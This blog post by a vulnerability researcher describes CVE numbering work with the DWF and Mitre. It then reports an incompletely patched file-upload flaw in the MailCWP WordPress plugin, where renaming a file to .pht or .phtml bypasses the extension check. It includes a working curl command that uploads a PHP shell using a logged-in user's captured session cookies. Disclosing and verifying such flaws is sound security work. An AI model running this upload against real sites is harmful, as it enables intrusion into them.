Over the past several months I’ve been working with a few folks including Kurt Seifried from Redhat and Dan Adinolfi from Mitre on improving the CVE numbering process. Through Daniel, I’ve met some of his team at Mitre on their campus in Bedford, MA. Also during this time Kurt began numbering and tracking open source vulnerabilities creating the Distributed Weakness Filing (DWF) project. I have been recently minted as a board member for the DWF and a CNA for Mitre. The DWF numbering project is compatible with Mitre’s CVE numbering system and eventually was blessed and embraced by Mitre. Through my interactions with Kurt, Daniel, and members of Mitre’s CVE team, I have been examining the data in my list of publically disclosed vulnerabilities. One of the most important requirements when being a numbering authority is data cleanliness. An issue I’ve struggled with when curating my own vulnerability data for export.
What has become a side effect of becoming my own CNA is getting my data as accurate and uniform as possible. I also have more eyes looking over my data as it is being digested by various vulnerability databases. The other fallout also has been inquiries into whether a vulnerability I’ve discovered has been properly patched by the vendor. Something I rarely look into. Mitre has recently begun importing the CVE data from the DWF into their own database and updating their website, this has also caused my CVE submissions to be reviewed once again. This, in turn, has shaken out some discrepancies in my data which I’ve corrected.
Recently I was asked to look into a remote file upload vulnerability I discovered in a WordPress Plugin called MailCWP last year. This plugin allows WordPress users to access their mail by supplying their account login and password. Not something I’d recommend but that’s beside the point. The vulnerability I discovered had been patched according to the vendor’s software repository changelog. I recall taking the plugin authors word for it and not looking at the patch myself. So upon this person’s request, I decided to download the patched version and take a look at the changes.
The patch didn’t fully fix the problem, only partially. Instead of the vulnerability being exploitable by an unauthenticated user, it could be exploited by any user with a login to a WordPress site. It was better, but not by much. I decided to quickly test the vulnerability to verify it would be exploitable as I suspected and emailed the plugin author a description of the problem and my proof of concept exploit. The problem was the plugin author is only checking that a user is logged into WordPress before allowing them to upload a file. They’re also only checking that the file extension doesn’t end in .php. This also is easily bypassed as most systems allow .pht or .phtml extensions to execute PHP code.
A quick exploit using curl:
Log in as a non-privileged user, and capture the WordPress session cookies. Quite a few browser extensions make this really easy. Pick your favorite. Store the cookies in a file and be sure to point curl at it with the –cookie argument.
$ curl -F "file=@/tmp/shell.pht" "http://example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1" -F "upload_dir=/usr/share/wordpress/wp-content/uploads" --cookie cookie.txt
Your shell will be available as documented in my original advisory located here: http://www.vapidlabs.com/advisory.php?v=138
Conclusion
My point to all of this is, I would have never known this patch was an incomplete fix if it wasn’t for someone looking over my vulnerability data and asking for verification. So not only am I improving my vulnerability database correctness but in the same process, I’m also further improving software security.
